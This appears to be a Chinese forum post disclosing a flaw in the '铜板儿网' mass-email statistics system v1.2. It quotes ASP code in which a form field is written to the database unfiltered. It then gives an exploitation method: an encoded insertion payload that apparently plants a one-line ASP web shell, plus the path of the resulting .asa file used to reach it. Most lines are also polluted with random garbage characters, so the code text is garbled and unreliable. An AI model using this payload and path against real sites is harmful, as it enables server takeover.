铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
! ]& y( j" Q- L: k- P5 U
+ F7 D8 `; a; X/ NIF Request.QueryString("Action")="del" Then
/ G: o$ f. @/ X: M0 u! EID=Request.QueryString("ID")
6 @7 \$ N! x6 g' BIF Countss ("tui","Fenlei",ID )<>0 then
'略
  }4 Z) c& V) E0 V+ gIF Request.QueryString("Action")="Add" Then
* F" Q+ S) U4 w- D" pTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
2 `+ I. O" w. _. V4 I, ZSql="Select * From Fenlei Order by id Desc "
  I2 F3 H4 _0 V& u( ~, e+ [Rs.Open Sql,Conn,1,3
+ ^/ Y6 `& z3 y% q7 k& \/ M7 FRs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
( h# A% D9 Y, S/ T1 HSql="Select * From Fenlei Order by id Desc "
# _, {8 X0 j( g, r  p; P; `* U) PRs.Open Sql,Conn,1,1
8 L( e& U# R4 T0 U; @! p9 z2 r* g'略
  v: y* k4 D0 O2 X%>
! j& C  Q9 S6 K9 l  N/ u
6 Q; [% ~2 [3 _( d! z
7 t2 Q" d5 Z1 z6 |  U
5 U% o" |0 w( l# a没有过滤，直接写入数据库。
- i* W1 a# d. D; C
利用方法：
* k/ Z  X# x" J# |
插入：┼攠數畣整爠煥敵瑳∨≡┩>

' U. g- K+ ?' r$ i( s: S
连接： http://www.xxx.com/###tongbaner.asa
( D, [' u0 T1 o1 @8 m) [. v- J. l  X'默认安装文件：
1 N0 f+ |: d; P5 H7 d'install.asp
1 n% `+ X+ a% }